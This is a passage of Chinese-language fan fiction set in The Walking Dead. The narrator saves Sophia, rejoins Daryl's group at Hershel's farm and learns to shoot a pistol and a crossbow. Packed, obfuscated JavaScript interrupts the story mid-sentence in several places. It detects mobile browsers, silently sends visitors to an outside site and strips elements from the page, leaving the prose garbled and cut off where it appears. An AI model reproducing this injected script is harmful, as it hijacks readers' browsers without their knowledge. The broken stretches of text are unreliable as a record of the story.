就差一点,只要在帐篷里再待一会儿,达里尔他们就能找来的,可偏偏出现了行尸,这到底是命中注定,还是偶然,难不成我和索菲亚一定要遇难吗。 “小心!” 我愣神的功夫,迎面撞到一具背着大包的行尸,脖子上缺了一大块肉,已经黑如墨汁,不过它的脑袋被卡在树干中,对我们造不成威胁。我喘着粗气,看向索菲亚,她的提醒让我镇定下来环顾四周,追我们的五只行尸少了一只,或许是从哪处的坡上滑了下去,又或许是像刚刚那只一样被卡住。 我们继续逃跑,前方有个一米宽的深坑,我及时拉住索菲亚,她才没有掉进去。我不确信行尸会不会躲开深坑,决心赌一把,让索菲亚先站到深坑对面,我则在灌木丛中找到一根细长的木棍,把两根分叉的树枝插进土里架在木棍两端,然后用泥巴固定,然而还没有准备好,行尸已经到了我身边,它比我高出两个头,我心一横,咬紧牙关,抱住它的腰借惯性把它摔进坑中,这时第二只也到了面前,我赶紧跑到对面,如我所想,它被木棍绊倒,不偏不倚栽了进去,木棍也因此被破坏。 等到第三只和第四只,它们真的绕开了深坑。 “跑!”我喊道,索菲亚握住我的手,我们继续逃。没逃出多远,我发现了一片低矮荆棘,领着索菲亚奔向荆棘丛。 我抱起她,她蜷缩双腿,我成功把索菲亚送到荆棘内侧,然后转过身,持刀等待行尸。半分钟后,行尸抵达,它们一前一后张嘴,露出两排森森牙齿,吼叫着扑来,我沉住气,等它离我近在咫尺,我蹲下身,弹簧刀扎穿行尸的脚,再狠狠一撞,它的头插在了荆棘的尖刺上,这还不足以杀死它,它仍在动,缓慢地朝索菲亚移动。 “别怕!索菲亚,我马上来!” 另外一只行尸生前是个十几岁的女学生,身上穿着私校校服,它的反应能力没有那么强,我绕树闪躲它的攻击,揪住它干枯毛躁的金发,将弹簧刀刺了进去。随后赶回荆棘边,那只半死不活的行尸还没有从荆棘上爬下去,只是它的脸被割得满是伤痕。我挥刀扎进行尸的后脑勺,转头去看索菲亚,准备把她接出来。 从刚刚开始,我就注意到索菲亚的异常,她很安静,没有发出一点声音,也没有捂住嘴巴,一声不吭地站在荆棘丛中。 我把这两具行尸垫在荆棘上,护住索菲亚踩着它们出来,检查她有没有受伤:“是不是吓坏了?没事的没事的,我们现在安全了。” 她摇摇头:“我没有那么害怕了。” “因为现在到处都有行尸,随时都可能出现,就像是讨厌的蚊子,都习惯了。” 她又摇摇头:“有你在,我没有那么害怕了。” “索菲亚,”我抱住她,“谢谢你。我们得再找个躲避的地方等你妈妈他们了。” 丛林中每个方位的景象似乎都一模一样,我不知道该往哪里去,只记得我们是从哪逃来的,我想起了那个背包的行尸,它的包里说不定有什么可以利用的东西。 我的猜想没有错。 我杀死那只行尸,取下它的包,里面有一副护目镜、两把枪与三盒子弹、两瓶饮用水、一个鱼罐头、五大袋牛肉干、十包压缩口粮、四支葡萄糖、急救包、望远镜、手电筒和一张地图。 “索菲亚,我们找到宝藏了!”我欢呼雀跃,撕开一袋牛肉干,尝了一块确保能吃,把剩下的和一瓶水都递给她,将望远镜挂到脖子上,之前越野车里找到的那副被我遗失在帐篷外面。 我背起包,拿出地图查看,上面没有赫谢尔家农场的标注,但有一座教堂,这座教堂是极佳的避难点,且今天黄昏时,达里尔他们也会抵达那里,“走吧索菲亚,我们去找找教堂在哪里。” 走之前,我把行尸身上的外套扒了下来,系在腰间,心想如果受伤,还可以用来包扎。 我们走着,寻觅着,教堂没有找到,却找到一间小屋。 “进去休息一会儿吧,索菲亚。”并不是我不想快些与达里尔他们团聚,只是我头脑发晕,四肢酸痛无力,必须暂时停下。 我掩在索菲亚身前,敲击房门制造声响,里面静悄悄,应该没有行尸,我又敲了一声,仍然毫无动静,这才放心推门进去,挨个检查房间,二楼的也不能放过。我把一楼大门关紧,再把窗户都关上,做完这些后靠着橱柜坐下,索菲亚乖乖地坐在我旁边,手里的牛肉干还没有吃完,但水喝完了。我从背包里取出一支葡萄糖喂进嘴里,把最后的一瓶水也打开,饮了三分之一,拍掉索菲亚衣服上的树叶,最后的力气也用光了:“你哪都不要去,歇好了我们再搜罗屋子。”微弱的喘息声从我喉咙深处发出,我闭上干涩的眼睛,双眼肯定布满了血丝。 闭眼的感觉真好,身体轻飘飘的,宛如棉花一样,恹恹地失了重。很快,我歇息得差不多,该带索菲亚继续寻找教堂了,睁开眼,怎尽是漆黑。 原来我迷迷糊糊中一觉睡到了晚上,我艰难地吞咽,手在黑暗中摸索,摸到了索菲亚的手臂,还好还好,她安然无事。 事已至此,又要多拖一日了。 我再次入睡,期间反复醒来,直至屋外的天变成深蓝色。 等索菲亚睡醒,天已大亮。 橱柜里有几瓶果酱和肉罐头,我打开闻了一下,都臭了,索性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790947|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部扔进垃圾桶。二楼的卧室里有一床黄色的毯子还算干净,我装进包中,从窗口探出头,这个高度勉强能看清丛林,如果到房顶上去,说不定可以眺望丛林的全貌。 说干就干,我让索菲亚在房间里等我,我从窗户爬出去,站在门廊顶上,把里面的椅子也搬了出来,踩着椅子,抓住二楼的屋檐,奋力一跳,上半身子趴到房顶上,接着抬腿上来,在最高处站稳,用望远镜寻找教堂的位置。 茂盛的树木一片接一片,远处隐隐有淡蓝色摇晃,就是那里了,我赶紧爬下屋顶,脚碰到椅子,慢慢地下来,有惊无险回到房中,背起包,带索菲亚离开这里。 打开门,一只卷毛行尸从林中走出。 “跑,索菲亚!” 我们手牵着手,往我看见的教堂跑去,周围陆陆续续有行尸追过来,我无意战斗,只要到了教堂就好了。 快一点!再快一点!我焦急万分,心跳加速。 终于,我们找到了淡蓝色屋顶的教堂,进去以后我们死死抵住门,不让外面的行尸破门而入。而教堂内,躺有三具行尸尸体。 “是他们来过这里,”我激动地对索菲亚说道,“他们会再来的,我会让他们再来的!” 许久之后,太阳到了天空中央,屋外的行尸渐渐散开,我和索菲亚两个人瘫坐在地,四条胳膊布满淤青。 我记得教堂有电子钟,但被格伦关了,我得出去重新打开,引起他们注意,不过得等外面的行尸变少才行。 简单吃了点东西,最后三分之二的水也被我们分了,这一等,又是等到黄昏,行尸才堪堪离去。 “明天,明天……”索菲亚会怪我吧,每一次的希望都变成了失望,我看向基督的神像,并不信奉此教的我不禁真诚祈祷,“愿主聆听,保佑我们明日与大家团聚。” “明天一定会的。”还以为是幻听,结果真是索菲亚说的,“我们明天就能得救。” “嗯,我们明天就不用再逃跑了。” 一夜过后,我早早醒来,伸了个懒腰,不见索菲亚的身影。 我倒吸一口凉气:“索菲亚!索菲亚!” “怎么了?”她从一排椅子后面站起来,“我的娃娃掉了。” “掉了就捡起来啊!” “不,是掉在外面了。” “什么?怎么现在才发现吗?”我蹲在窗户下面观察外面的情况,一共三只行尸仍在游荡,并没有发现布娃娃。 “我昨天就发现了,但那时候太过危险,我没有说。” “没办法了索菲亚,人得学会分别,”察觉到她的失落,我转移话题,“你在那里做什么?” “保护你!”她坚定地回答,手上拿着我的弹簧刀。 “太贴心了,快过来,我要抱抱你,”紧紧相拥在一起,我轻抚她的后背,叮嘱道,“索菲亚,我等下一出去你就把门关上,只有我再叫你的时候,你才开门,记住了吗?” “嗯。” 我轻手轻脚打开门钻出去,时刻注意这三只背对我的行尸,找到电子钟的开关。可我刚打开,钟声就响了,我暗骂一声,等三只行尸朝我聚集,我拔腿就跑,把它们带离教堂,紧接着加速跑回来,就在我即将迈上台阶的时候,又一只行尸从侧面扑向我,我闪身避开,解下腰间的衣服盖在它头上,喊出索菲亚的名字,红色的门打开,我赶紧溜进去,抵住门。 “起码比昨天的少多了。”自我安慰有的时候很有用。 一开始,屋外的撞击还很强烈,这些丑陋的行尸如饥似渴,堵在门口,但过了一阵子,门外的力道愈来愈轻,最后竟消失了,外面静得反常。 难不成都走了?不能吧。 正在我疑惑不解之时,耳边响起熟悉的声音,属于那个混蛋的声音。 “安?索菲亚?” 12. 有点困 这是我第一次觉得达里尔的声音好听,我能从他的语气中感觉到欣喜与疲惫,还没打开门,我就仿佛看见了那张苍狼似的脸,不修边幅,肆意张扬,等到真的与这张脸面对面,我与他之间的芥蒂荡然无存。无论他是为寻索菲亚而来还是什么,他真的从未放弃,他就是这样一个人,嘴比钢筋硬,心比水柔软。 “看,索菲亚,我们不用再逃跑了!”终于可以好好休息,我喜不自胜地抱住达里尔,他的手上还拿着索菲亚的布娃娃,我对他的好感又添了几分。这一刻紧绷的神经彻底得到放松,我不用再强撑,不禁失声抽噎,身体各处的痛感也忽然被放大,我艰难地吸了一口气,喉咙深处藏有铁锈味。 达里尔亲了亲我的额头,我玩笑地捶他胸口,呼唤索菲亚回家,可我张开嘴的同时,眼睛不受控制地闭上了,搭在达里尔双肩的手臂滑落,他扶住我,没有让我摔在地上,与索菲亚焦急地喊我的名字,再然后,我失去了知觉。 醒来时,我已身处赫谢尔家,卡罗尔母女守在我床边,见我苏醒,她让索菲亚去通知大家,自己留下来第一时间向我道谢。 她的眼眶红肿,嗓音嘶哑,这几天肯定没少哭。 “你太客气了,是我应该做的,”因为我的存在,索菲亚没有成为农场谷仓中的一具行尸,那卡罗尔还会转变成未来的杀神吗,“索菲亚是个好孩子,她既坚强又勇敢,她还拿着我的刀,说要保护我。你很难想象我们这几天都遇到了什么,又是在何种条件下熬过来的。我不希望她惨死在行尸口中。我愿意为了保护索菲亚付出生命,同样对你们任何人我都愿意牺牲自己,因为我们是一个团体,就像达里尔坚持寻找我们那样。” 听了我的话,卡罗尔哽咽起来。 “哭是解决不了问题的,你应该真刀真枪地保护心爱之人,与任何想要伤害你心爱之人的东西战斗。为了大家,为你自己,为了索菲亚。”我真是爱死肖恩这套上升到团体的话术了,简直百试百灵。 “安,你醒了!”屋外的达里尔他们被索菲亚叫来,卡罗尔连忙站起身,转过去偷偷擦眼泪。 我很高兴与众人重逢,但我不想再哭了:“煽情的话语就免了吧,各位,我们这是在哪?” 瑞克简单告诉了我这几天发生的事情,先是卡尔不幸被奥蒂斯的猎枪射中,生命垂危,而后肖恩在奥蒂斯的掩护下带回手术必需品,农场的主人赫谢尔为卡尔做手术,接着大家来到农场安顿。我表示想先见见赫谢尔,感谢他收留我们,达里尔却没好气地嗤了一声:“那个老家伙心里只有他的马。” “达里尔,我们刚刚在外面已经聊过这事了,你不该擅自把他的马骑走。这里是人家的地盘,你要先询问,征求他的同意。” 我点点头:“瑞克是对的,你得有点礼貌。” 看在我疲劳过度昏倒的份上,达里尔没有像往常一样发脾气反驳,而是思考了一会儿,认真考虑:“行吧,我下次会试试这样做的。” 众人轮流与我说了些体己话,瑞克和肖恩夸赞我带着索菲亚绝处逢生,洛莉仍在担心卡尔的状况,卡罗尔再次感谢我保护了她的女儿,戴尔对我刮目相看,安德莉亚近来在学习用枪,T仔手臂的划伤也得到妥善处理,格伦惊喜于再见到我这位“邻居”,他想到了什么,跑出房间,回来时身边多了一个短发女人,兴奋地介绍说:“安,这是玛姬,赫谢尔的女儿,达里尔把你带回来的时候,是她帮的忙,你一定会喜欢她的。” 我这才意识到自己身上穿着陌生的衣服,顺着格伦的话道:“是啊是啊,我已经对这位美丽的小姐一见钟情了,性别不是问题。” 本以为这样说可以逗笑大家,让房间里的氛围轻松些,可为什么他们清一色露出震惊的表情,难道我看上去不直吗。 “安,她是我女朋友,你抢不过我的,而且你已经……”格伦果然当真。 他话还没说完,吃了玛姬一胳膊肘:“谁说我是你女朋友?我看安挺不错的,比你靠谱多了”。 “我们纯情的格伦受挫了。”大家齐齐欢笑,我适时推波助澜。 虽然很想和他们再多待一会儿,可他们的笑声以及接下来说的每句话都变成了催眠曲,我困倦不已,不得不结束合家欢的一幕:“抱歉各位,我还是有点困,可以再睡一觉吗,等我睡好了,我想去看看卡尔,他的伤势如何?” 善解人意的瑞克压低了音量:“卡尔已经脱离危险,你不用担心,他也很挂念你。” “亲爱的,好好休息吧,”洛莉道,“我和卡罗尔打算帮帕特里夏准备晚饭,你会起来吃的对吧,不起来也没关系,我会送到房里来。” “如果不能品尝你们的手艺,与大家共进晚餐,那人生将变得毫无意义。” 众人陆续离开,卡罗尔亲吻我的脸颊,索菲亚给了我一个轻轻的拥抱,剩下达里尔一个人在我床头站着,出乎意料地道起歉来:“之前对你说了很多难听的话,你生我的气,我们一直不理睬对方,这比吃屎还糟糕,我承认是我错了,你能原谅我吗?”毫无诚意的道歉,他甚至都不看着我说。 “肖恩他们劝的你?” “不,不是,”他瞥了我一眼,又迅速别开脸,“是找你们的这几天,我自己琢磨的。” “你找我和索菲亚很辛苦,我也很感动。其实我早就原谅你了,在我以为要死了的时候。这事就当过去了,好吗?现在我只想再大睡一场,然后去吃洛莉和卡罗尔做的晚饭。不过在此之前,能不能给我拿一包压缩口粮,我饿了。” 达里尔确实给我拿来了吃的,但不是压缩口粮,而是三明治。 “天哪,这简直是在做梦。”我大口吃起三明治,里面包裹的火腿香到我的口腔疯狂分泌唾液,第一口我就哽住了,达里尔忙递给我杯水饮下,我继续狼吞虎咽,突然想起刚到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“因为这几天都是处于高度紧张的状态中,我还有点不敢相信自己真的安全了,那些行尸太过可怕,”我装成我描述的样子,让赫谢尔信以为真,“您说呢,行尸光有人的躯壳,没有人的灵魂,它们看上去像是病了,实际上是死了。您别在意,我说这些没有别的意思,只是您是个仁慈的医生,兽医也算,我想在您看来,行尸和我、卡尔一样都是病人吧。” 他沉默了一阵,嘴唇微动,欲言又止。 “我曾数次亲眼目睹熟识的伙伴被行尸咬死,然后再亲手杀了成为行尸的他们。那一刻我觉得自己是在杀人,可我杀的分明是行尸,只是因为是我认识的人才会这样。这种心情您能理解吗,抱歉,我失言了。” 对一个陌生人滔滔不绝,这本身就是一件奇怪的事情,我不想让他起疑,补充道:“您和我爷爷长得很像,我一时有些恍惚。” 他盯着我看,仿佛可以看穿我的心思:“你知道谷仓里的秘密?” 话音未落,我不寒而栗。 恰在此时,达里尔跑了进来,他在外面听到我说话,得知我醒了,特意来接我去餐厅。 13. 秘密 除了格伦与赫谢尔的孩子们坐在一起外,我们都挤在一张长桌上。赫谢尔不太欢迎我们,吃晚饭的时候他一直紧绷着脸,似乎在思考怎样才能把我们赶出去。 刚刚在房间里,他以为我知道了谷仓中藏着行尸的秘密,可我在醒来前从未到过这里,只有可能是别人告诉我的。我不该这么着急把那些话都说出来,然而我只是觉得赫谢尔一切都好,就是对行尸的认知有误,他若能早些醒悟过来,之后的很多事情都不会变得糟糕。 “你们谁会弹吉他吗?”诡异的餐桌氛围总得被打破,格伦兴致高昂,犹如太阳般散发能量,“戴尔找到把不错,应该有人会弹吧。” 可惜,他戳中了不少人的痛处。 帕特里夏的爱人奥蒂斯会弹吉他,而且弹得很好,但他在与肖恩外出寻找手术必需品时牺牲了。我下意识朝肖恩看去,还没看习惯他的寸头,他伪装得无懈可击,神色自若,我知道是他将奥蒂斯推向尸群才得以逃生,他当时一定很为难,毕竟奥蒂斯不是行尸,而是活生生的人类,要么他们两个和卡尔都死,要么死一个活两个。 我没有资格评判肖恩的做法,我只想大家都好好活着。 饭后,达里尔让我回房间继续休息,我告诉他自己没事,提出帮玛姬和贝丝收拾餐桌,他便在一旁坐着,什么也不干。 贝丝是个内敛的姑娘,说话温声细气,详细解答我提出的关于农场生活的问题,我不仅是真好奇,也是借此和她套近乎,回头一看,玛姬不见了踪影。她与格伦传递纸条幽会,被我看到,今晚应该就是在谷仓,有人要被吓一大跳了。 第二天清晨,卡尔可以下床走动,他又能够和索菲亚一起玩耍,索菲亚也能再次与朋友拥抱。 我坐在门廊下面乘凉,两个孩子在洛莉的陪伴下走过来。 “天气很好,阳光明媚,你们有什么想做的吗?”我开口问道。 卡尔还有点虚弱:“我想知道你们在外面经历了什么,太不可思议了。” 我忍不住笑,看向洛莉:“是啊,我也觉得不可思议,那简直都不是我了。” 她懂了我的意思,对卡尔说:“帮我去喂鸡,索菲亚也一起来,你可以听她讲故事,让安一个人待会儿,好吗?” 卡尔很听话,我向两个孩子挥手说再见,索菲亚走出几步又跑回来,用她稚嫩的声音问我:“你身上还是很痛吗?” “不,我只是脑子里有点乱,等到中午就好了,索菲亚,我保证。” 鸡舍那边,洛莉他们刚去没多久,帕特里夏也过去了,然后推着小车走向谷仓。我仍然坐在门廊下张望,视线落到远处的树下,格伦用望远镜同样在观察谷仓,我决定去找他,得让他成为告诉我谷仓秘密的人。 “安!”躺在帐篷里的达里尔喊住我,我只好换了方向,站在他的帐篷口,他正把玩着弩箭,活像没事找事。 “你最好有要紧的话要跟我讲。” 他扬了扬下巴,皱起眉,我不明白是什么意思。 “弩箭,你不是想学吗?”原来他还记得,还以为他忘了。 “对啊,你终于舍得教我了,迪克森老师。” “啧,真是难听的称呼,”他坐起身,把弩递给我,“你拿着试试,远程射杀和近身战斗一样重要,你还得参加射击训练学枪,安德莉亚已经学得差不多了。” 我没有伸手接弩,现在比起这个,我得尽快找格伦,不得不拒绝达里尔:“我确实很想学,不过你等我一下,我马上回来。” 说罢,我跑开了,在研究地图的瑞克、肖恩和吉米身边看见分发桃子的格伦,他愁容满面,举手投足皆不自在,而离他们较近的地方,洛莉手上拿着一根木棍紧盯格伦。 藏着两个秘密不能说出来,格伦比任何人都有经验。 “你的表情看起来像是便秘了。”我走到格伦面前,从木桶里拿出一个桃子咬了一口,有点涩。 格伦张了张嘴,深深叹气。 “发生什么了,跟你的‘好邻居’讲讲,难道是玛姬腻了?” “怎么可能!”他立即反驳,似是有很多话要对我讲,犹豫之后还是放弃。 “那是什么?你已经把心事写脸上了,你让谁看都看得出你有秘密。” “是啊,秘密,但不是我的秘密,是别人的秘密。”他松口了,“听着,我接下来要告诉你的事情会让你非常,非常,非常震惊,你绝对不能告诉别人,否则那两个女人都会杀了我。” 我向他发誓我会守口如瓶,如愿听他说出埋藏心底的秘密:“洛莉怀孕了。” “什么!”我确实震惊,震惊他说的不是谷仓而是洛莉,他慌忙叫我小点声,心虚地看向正教训卡尔的洛莉,又回头看我,我瞪大眼睛,装作难以置信,“谁的?” “哈,你也觉得不是瑞克的吧。” “说实话,哪怕瑞克来了以后,洛莉和肖恩反常的举动太多了,我甚至怀疑瑞克早有察觉。”这是事实,我不信警察出身的瑞克会发现不了其中的蛛丝马迹。 忽然,我眼前有什么东西一闪而过,那是洛莉在监狱剖腹生子的镜头,鲜血从她的肚中源源不断地流出来,覆盖了全部的画面,只剩下一片殷红。 这是洛莉原本的结局,她的死让卡尔一瞬间长大,也使瑞克神志不清了许久。 “安,安?安!” 格伦唤醒陷入另一种剧情发展的我,我在那里是看客,在这里是参与者。 尽管到现在也没搞明白自己为什么会穿进剧里,又该怎么回到自己的世界,可行尸纵横的末世,容不得我细细思索,我得先活下来。 “你快把我喊聋了,格伦,你打算告诉瑞克或者肖恩吗?” 他点点头,又摇摇头:“洛莉叫我不要说出去。” “好吧,我也会帮你保守秘密的。” 我想着格伦应该不会说出谷仓里行尸的事了,就准备去找达里尔,他却顿了顿,拉住我的胳膊,环顾四周,吞吞吐吐:“还有一件事,谷仓里有行尸。” “你认真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790949|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”我的脸色一下就变了,怔怔地看着格伦,被他的话惊得合不拢嘴,奥斯卡不给我颁奖都是他们眼拙。 “对,我亲眼所见,就在昨晚。” 我指向谷仓,他拉下我的手,不愿被别人看到,我疾言厉色:“这件事很严重,你得告诉大家才行,如果那些行尸出来了,后果不堪设想!” “我知道我知道,你先别激动!”成功被我的表演骗过,他也拿不准主意,“我想告诉戴尔,因为他是有经验的长者,他的建议能对我有所帮助。” “所以那两个会杀了你的女人就是洛莉和玛姬。”格伦重重点头,听我继续说,“我也要给出我的建议了,去告诉戴尔吧。” 我和格伦谁也没注意到肖恩的靠近,他突然出声,询问我们要不要一起去进行射击训练。格伦神情僵硬,强装镇定,他回道:“我要帮戴尔清理房车上的火花塞,他说要给我讲讲机械原理。我应该去找他。” “我就在这。” “我去!”犹如瞬移般出现在我们身后的戴尔,吓得我爆出一句家乡话,“戴尔,你什么时候来的。” “刚刚,你们两个聊得很投入的时候。” 此地不宜久留,得赶紧溜。我向格伦使了个眼色,坐进肖恩的车中:“我和你们去,我还没开过枪呢。” 车子启动,我从车窗探出脑袋,冲格伦喊道:“告诉达里尔,我去学枪了!” “你们和好了?”肖恩熟练地转动方向盘,问我。 我笑着回答:“何时有过摩擦?” “索菲亚把你们在外面的经历讲给我们每个人听了,真是不可思议,我觉得还可以教教你格斗,你用起刀来会更得心应手。”肖恩的话正合我心,只有不断强大,才能保护好身边之人,从死神的镰刀下夺命。 前往训练场的路上,肖恩为即将第一次握枪的我讲解枪械使用的规范与步骤,以及各种枪支的特点,并说感谢中国发明了火药,火药传入欧洲,枪得到发展。 他是个优秀的教练,他教我如何装填子弹,如何拉栓,如何持枪,如何瞄准,注意后坐力,稳稳扣动扳机射击,这一枪,连描边都算不上。我有些沮丧,大家都已经可以击碎瓶子了,我却刚刚起步。 “不要灰心,安,你已经基本掌握窍门了。”瑞克出言安慰,“这把枪以后就是你的了,是你从外面带回来的,伯/莱/塔92F手枪,在美国也叫M9,使用的15发弹匣,有效射程是50米,你们还得多多磨合。” 我调侃道:“就像你和你的左轮?” “没错,加油吧安,我期待你的进步。” 有了瑞克的鼓励,我全身心专注于手枪而非目标,深吸一口气,闭上眼,再睁开,世间的一切都变得清晰,我看不见其他人,也看不见周围的杂草,只有那个孤零零的空玻璃瓶,我果断扣动扳机,两声“砰”在我耳边炸开,第一发没有中,第二发也没有中,我再射出第三枚子弹,它快如闪电,破风裂空,就在我射击的瞬间,枪声与玻璃破碎声同时响起。 14. 弩箭的神 从训练场回来,我本打算去问问格伦,问他戴尔对于谷仓里行尸的事情怎么说,但我一下车,达里尔就背着弩过来了。 “开枪好玩吗?”他戏谑地问道。 我拿出肖恩交给我的伯/莱/塔手枪,抚摸黑色的枪身:“我可不觉得这是个游戏。” “你还有没有劲?”问这种问题,难道是想让我接着跟他学用弩吗,我求之不得,正要回答,他的眼睛却在我的手臂和腿上来回瞟,他是在担心我的伤。为了让他放下顾虑,我主动取下他的弩,学着他平常的样子用弩瞄准远方,告诉他自己好得很:“你看,我会是一个勤奋的学生,我们去哪学?” “丛林,我们射活物。” 达里尔找赫谢尔借马遭到拒绝,我们只能徒步进入丛林,林子里总会有行尸悄然出没,我拿上弹簧刀,并给枪装满了子弹,以防万一。 夏天的太阳无差别炙烤大地,汗水从我的额头、后背、胸前不断冒出,汗湿的衣服紧贴皮肤,闷得我喘不上气,需要大口大口呼吸才行,我既想走快点好有空气流动变成风,又想走慢一点放缓行动不至于疲惫。我胳膊上的淤青涂了药以后变小了许多,但红肿的小腿则发作起来,许是因为和达里尔已经走了近半个小时,伤口处传来痛感,每走一步,便不自觉地崴一脚。 我们抵达河边,我蹲下身子捧起凉水拍打脸颊,暂时赶走燥热,真想脱了鞋子走进河中,甚至想躺在里面。 达里尔开始给我演示弩的上膛方式,拉线需要用力,我试了试,手勒出红印,没有他演示时那么轻松。他告诉我腰往前顶,不要用蛮劲,我费了好些工夫才做好,等他教我接下来怎么做,谁知他才刚教了走,就让我去跑奥运会:“你已经学完了,找个目标射它。” “你认真的吗?” “当然,这和开枪很像,瞄准,射击,熟能生巧。” 我按照他说的,抬头望见一棵较为粗壮的树,我不至于连那么大个目标都射不准吧,而且射在那里还方便回收弩箭。于是我站定双脚,瞄准树干,达里尔说一句步骤,我便跟着操作。然而我发射的时候手抖了一下,弩箭偏离我预想的轨迹,从树干旁边飞入林中。我不好意地挠挠头,爬上坡,想要寻回弩箭,他叫住我,让我留在原地等他。 用弩可不比用枪,起码拿枪对臂力的要求不高,不过这弩看着笨重,杀伤性却不小,击杀行尸能做到无声无息,近战远程皆可,难怪达里尔这么喜欢。 也不知道我刚刚一箭射到了哪里,达里尔找起来估计要些时间。我环顾左右,荒郊野外连个鬼影都没有,我现在宁愿见到鬼也不想见到行尸,埋头研究起弓/弩的构造。 不一会儿,坡上的灌木丛中传来响动,我以为是他回来了,喊道:“你找到箭了吗?” 他没有回我,骤然间我心跳加速,装备箭矢,举起弩瞄准灌木。树丛沙沙作响,缓慢的脚步声逐渐清晰,一具行尸从中走出,滑落土坡,跌入河中,摔断了一条腿,艰难地起身朝我移动。 我想了想,把弩背到身后,拔出别在腰上的手枪,想试一试能不能一击毙命,但是枪声会引来附近其他的行尸,我把枪放回去,拿出了弹簧刀,等待行尸靠近。我预想的是它扑向我,我左手抓住它的脖子,右手持刀扎进它脑袋里,非常完美。 行尸离我越来越近,我清楚地看见它嘴中腐烂掉的牙齿,因为牙龈的粘连松垮垮地吊着。我反手握紧刀,左手横挡在身前,屏住呼吸,心提到嗓子眼,默数三、二、一,正要动手,那行尸的额头上突然冒出支箭,箭头滴着黑血落到水中。 随着行尸倒地,我看见了正前方的达里尔,他还保持着投掷的姿势。 “你还有这技能,人形弓弩啊!”我向他走去,不免惊讶于他隔着几十步远徒手扔箭正中行尸头颅的举动。 “我也没想到,”达里尔松了一口气,“你为什么不攻击它。” “我正要这么做呢,你先我一步把它杀了。” “你不该等它攻击你的时候才出手,而应该在这之前就杀死它。” 我思索着他的话,意识到自己的方式确实存在一定的风险,可我不敢确信自己先发制人能成功制胜,故而每次被动出手。 这天下午直到黄昏,我和达里尔都是在丛林中度过的,我们发现了一只野兔,他指挥我用弩射击,我射了个偏,兔子受到惊吓逃走,我们便在后面追。达里尔突然拿过弩,他可以精准射中移动目标,兔子的腿中了一箭,我们跟踪血迹,却被行尸截胡。 “嘘!”我们伏在灌木丛后,达里尔再次把弩递给我,他想让我拿正撕咬兔子的行尸练习。我们原本是打算把这只兔子带回去烤了吃的,这下好了,到手的兔子肉飞了,都怪行尸,所以它要为自己的贪吃付出代价。 如果不能一箭射中行尸,还有第二箭、第三箭,三箭都没杀死它的话,就太给达里尔丢脸了。但事实是,我射出的第一箭从行尸的耳朵穿过,在它的耳朵上留了个洞,它放下手里的兔子,我看见那只兔子的内脏流了一坨。 “射它!不要发呆!”听到达里尔的提醒,我再次举弩对准行尸,不知道是不是因为这具行尸长得过于凶狠,它的外形是一个魁梧的光头男人,眼球外凸,眼窝却很深,嘴巴一圈都是血,鼻子像是被石头砸过,鼻骨碎裂,整个塌着,它在放声嚎叫,声音来自地狱,我不禁胆颤,双手竟发起抖,腿也软了,射出的第二箭只是插进它的肩膀。 十步的距离,我仍然没能杀死它,第三箭我更没了把握。 眼见着达里尔抽出短刀要动手,我不想让他对我失望,用弩晃动灌木丛,行尸忽略了一旁的达里尔,径自张开血盆大口,露出上下两排黑漆漆的牙齿。我大喊道:“让我来!”随即迅速拉弦置箭,仰头躺倒,伸腿抵住行尸的腰,行尸的力气不小,我必须立即解决它。最快捷的方法就是直接用弩的长度把上面锋利的箭头刺进行尸的脑袋里,可我不会这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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末世不该有这么美丽的晚霞,大汗淋漓的我无心欣赏,达里尔更是没有注意到天边的变幻,走出几步回头问我停下来做什么。 “那边,”我指了个方向,瑞克和洛莉正在远处的栅栏边争吵。 “你很关心他们的夫妻生活。”听上去达里尔又要出言不逊了。 “你不觉得他们是在吵架吗?你猜猜看是为了什么,我们可以打个赌。” 他有了兴致,问我:“赌什么?” “我赢了的话,你就当着大家的面夸我一分钟,我输了,我就夸你一分钟。” “行啊,我猜是瑞克知道洛莉和肖恩的关系了。” 不出我所料,达里尔猜的是肖恩。 “我说是为了孩子在吵架。” “卡尔?不可能,卡尔刚刚恢复,他们有什么好吵的。” “不信是吧,你等着瞧。” 毕竟我说的孩子,又不是指卡尔。 15. 他们已经死了 由于昨天一整天不是在练枪就是举着弩到处晃悠,为我本就孱弱的身躯雪上加霜,连卡罗尔做的早饭都不想起来吃,只想在帐篷里睡个天昏地暗。 半梦半醒间,我听见格伦告诉大家谷仓里都是行尸,如此重要的场合,我怎么能缺席。可等我从帐篷里爬出来,营地空无一人,他们正围在谷仓外面。我收拾妥当,随手拿了一块锅里冷掉的煎鸡蛋,朝他们走过去。 